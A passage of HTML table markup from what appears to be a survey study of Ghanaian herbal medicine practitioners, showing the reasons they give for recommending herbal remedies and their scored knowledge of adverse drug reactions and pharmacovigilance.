style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">14.4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:157.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">More effective than orthodox medicines</span></p>\r\n			</td>\r\n			<td style=\"width:.75in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">13</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">14.4</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:157.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Accessible</span></p>\r\n			</td>\r\n			<td style=\"width:.75in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">11</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">12.2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:157.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Cures all diseases</span></p>\r\n			</td>\r\n			<td style=\"width:.75in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">11</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">12.2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:157.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">No chemical components</span></p>\r\n			</td>\r\n			<td style=\"width:.75in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">7</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">7.8</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:157.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Others</span></p>\r\n			</td>\r\n			<td style=\"width:.75in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">6</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">6.7</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:157.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">It is natural</span></p>\r\n			</td>\r\n			<td style=\"width:.75in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">3</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">3.3</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:157.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Convenient to use</span></p>\r\n			</td>\r\n			<td style=\"width:.75in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2.2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:157.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Does not expire</span></p>\r\n			</td>\r\n			<td style=\"width:.75in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2.2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:157.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Easy to prepare</span></p>\r\n			</td>\r\n			<td style=\"width:.75in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2.2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:157.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">It is a heritage</span></p>\r\n			</td>\r\n			<td style=\"width:.75in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2.2</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:157.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">No addiction</span></p>\r\n			</td>\r\n			<td style=\"width:.75in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2</span></p>\r\n			</td>\r\n			<td style=\"width:1.0in\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2.2</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n</div>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:12px\"><strong>Table 2: </strong>Reasons why herbal medicine practitioners recommend herbal medicine to their clients.</span></span></p>\r\n\r\n<div>\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><span style=\"font-family:Times New Roman,Times,serif\">Variable</span></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><span style=\"font-family:Times New Roman,Times,serif\">Subgroup</span></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><span style=\"font-family:Times New Roman,Times,serif\">Number of respondents</span></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"color:#ffffff\"><span style=\"font-family:Times New Roman,Times,serif\">Mean knowledge score (%)</span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:215.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Ever heard of ADR (1)</span></p>\r\n			</td>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">19 (70.4%)</span></p>\r\n			</td>\r\n			<td rowspan=\"2\" style=\"width:117.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0.704&plusmn;0.465 (70.4%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">No</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">8 (29.6%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:215.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Know what ADR is?</span></p>\r\n			</td>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">17 (63.0%)</span></p>\r\n			</td>\r\n			<td rowspan=\"2\" style=\"width:117.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Not scored</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">No</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">10 (27.0%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:215.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Definition ADR<sup>1</sup> (2)</span></p>\r\n			</td>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Correct *</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">11 (64.7%)</span></p>\r\n			</td>\r\n			<td rowspan=\"2\" style=\"width:117.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0.556&plusmn;0.751 (27.8%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Incorrect</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">6 (25.3%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"3\" style=\"width:215.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Is ADR same as Side effect (1)</span></p>\r\n			</td>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">10 (37.1%)</span></p>\r\n			</td>\r\n			<td rowspan=\"3\" style=\"width:117.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0.296&plusmn;0.465 (29.6%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">No<sup>c</sup></span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">8 (29.6%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Don&rsquo;t know</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">9 (33.3%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:215.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">If ADR is not same as SE, what is the difference.<sup>2</sup> (1)</span></p>\r\n			</td>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Correct</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">3 (37.5%)</span></p>\r\n			</td>\r\n			<td rowspan=\"2\" style=\"width:117.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0.111&plusmn;0.320 (11.1%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Incorrect</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">5 (62.5%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:215.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">How many types of ADRs exist<sup>3</sup> (1)</span></p>\r\n			</td>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Correct</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0 (0.0%)</span></p>\r\n			</td>\r\n			<td rowspan=\"2\" style=\"width:117.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0.000 (0.0%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Incorrect</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">27 (100.0%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:215.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Name and explain any type of ADR<sup>4</sup> (2)</span></p>\r\n			</td>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Correct</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">1 (3.7%)</span></p>\r\n			</td>\r\n			<td rowspan=\"2\" style=\"width:117.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0.037&plusmn;0.192 (3.7%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Incorrect</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">26 (96.3%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:215.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Herbal medicines can cause ADR (1)</span></p>\r\n			</td>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Yes<sup>c</sup></span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">11 (40.7%)</span></p>\r\n			</td>\r\n			<td rowspan=\"2\" style=\"width:117.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0.407&plusmn;0.501 (40.7%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">No</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">16 (59.3%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:215.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Ever heard of Pharmacovigilance? (1)</span></p>\r\n			</td>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">7 (25.9%)</span></p>\r\n			</td>\r\n			<td rowspan=\"2\" style=\"width:117.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0.259&plusmn;0.447 (25.9%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">No</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">20 (74.1%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:215.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Do you know what pharmacovigilance is?</span></p>\r\n			</td>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">6 (22.2%)</span></p>\r\n			</td>\r\n			<td rowspan=\"2\" style=\"width:117.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Not scored</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">No</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">21 (77.8%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:215.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">What is pharmacovigilance if you stated you knew what it is?<sup>5&nbsp; </sup>(2), (n = 6)</span></p>\r\n			</td>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Correct</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">3 (50%)</span></p>\r\n			</td>\r\n			<td rowspan=\"2\" style=\"width:117.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0.259&plusmn;0.656 (13.0%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Incorrect</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">3 (50%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:215.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Which country/city hosts the international centre for pharmacovigilance?<sup>6&nbsp;</sup>(1)</span></p>\r\n			</td>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Correct</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">1 (3.7%)</span></p>\r\n			</td>\r\n			<td rowspan=\"2\" style=\"width:117.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0.037&plusmn;0.192 (3.7%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Incorrect</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">26 (96.3%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:215.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Are you aware of a national centre for pharmacovigilance?</span></p>\r\n			</td>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Yes</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">4 (14.8%)</span></p>\r\n			</td>\r\n			<td rowspan=\"2\" style=\"width:117.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Not scored</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">No</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">23 (85.2%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:215.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Agency responsible for pharmacovigilance in Ghana?<sup>7</sup>(1)</span></p>\r\n			</td>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Correct</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2 (50.0%)</span></p>\r\n			</td>\r\n			<td rowspan=\"2\" style=\"width:117.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0.074&plusmn;0.267 (7.4%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Incorrect</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">2 (50.0%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:215.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Where can one report ADR in Tamale?<sup>8</sup> (1)</span></p>\r\n			</td>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Correct</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">8 (29.6%)</span></p>\r\n			</td>\r\n			<td rowspan=\"2\" style=\"width:117.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0.296&plusmn;0.465 (29.6%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Incorrect</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">19 (70.4%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:215.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">ADR is a major cause of deaths across the world (1)</span></p>\r\n			</td>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Yes<sup>c</sup></span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">10 (37.0%)</span></p>\r\n			</td>\r\n			<td rowspan=\"2\" style=\"width:117.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0.370&plusmn; .492 (37.0%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">No</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">17 (63.0%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:215.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Many ADRs are preventable (1)</span></p>\r\n			</td>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Yes<sup>c</sup></span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">12 (44.4%)</span></p>\r\n			</td>\r\n			<td rowspan=\"2\" style=\"width:117.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">0.444&plusmn;0.506 (44.4%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">No</span></p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">15 (55.6%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td style=\"width:215.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Total&nbsp; (17)</span></p>\r\n			</td>\r\n			<td style=\"width:77.1pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:75.9pt\">\r\n			<p style=\"text-align:center\">&nbsp;</p>\r\n			</td>\r\n			<td style=\"width:117.0pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">3.85&plusmn;3.30 (22.6%)</span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td colspan=\"4\" style=\"width:485.75pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>1</sup>An adverse drug reaction is a response to a medicine which is noxious and unintended, which occurs at doses normally used in man. <sup>2</sup>Side Effect is related to the pharmacological properties of the drug and can sometimes be beneficial but ADR is always harmful or noxious. <sup>3</sup>Six types of ADR. <sup>4</sup>Type A (Augmented) -Predictable reaction related to the pharmacologic action of the drug - exaggerated pharmacologic response; Type B (Bizzare) - Unpredictable reaction not related to the pharmacologic action of the drug; Type C (Chronic)- Uncommon reaction related to the cumulative dose of a drug.; Type D (Delayed) - A usually dose related reaction which occurs or becomes apparent sometime after the use of the drug; Type E (End of Use); Adverse reaction which occurs soon after the withdrawal of the drug; Type F (Failure); Drug reactions occurring as a result of drug-drug interaction. <sup>5</sup>Pharmacovigilance is the science and activities relating to the detection, assessment, understanding and prevention of adverse effects of drugs or any other possible drug-related problems.&nbsp; <sup>6</sup>Uppsala/Sweden. <sup>7</sup>Food and Drugs Authority. <sup>8</sup>Food and Drug Authority office/Community pharmacies/Hospital, etc.</span></p>\r\n\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><sup>c</sup> =Indicates the correct answers.</span></p>\r\n			</td>\r\n		</tr>\r\n	</tbody>\r\n</table>\r\n\r\n<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"font-size:12px\"><strong>Table 3: </strong>Knowledge of herbal medicine practitioners on Adverse Drug Reaction and Pharmacovigilance.</span></span></p>\r\n\r\n<table align=\"center\" border=\"1\" cellspacing=\"0\" class=\"Table\" style=\"width:700px\">\r\n	<tbody>\r\n		<tr>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#ffffff\"><strong>Variable</strong></span></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#ffffff\"><strong>Subgroup</strong></span></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#ffffff\"><strong>Frequency</strong></span></span></p>\r\n			</td>\r\n			<td style=\"background-color:#002060; width:358px\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\"><span style=\"color:#ffffff\"><strong>Percentage</strong></span></span></p>\r\n			</td>\r\n		</tr>\r\n		<tr>\r\n			<td rowspan=\"2\" style=\"width:180.9pt\">\r\n			<p style=\"text-align:center\"><span style=\"font-family:Times New Roman,Times,serif\">Have you ever reported 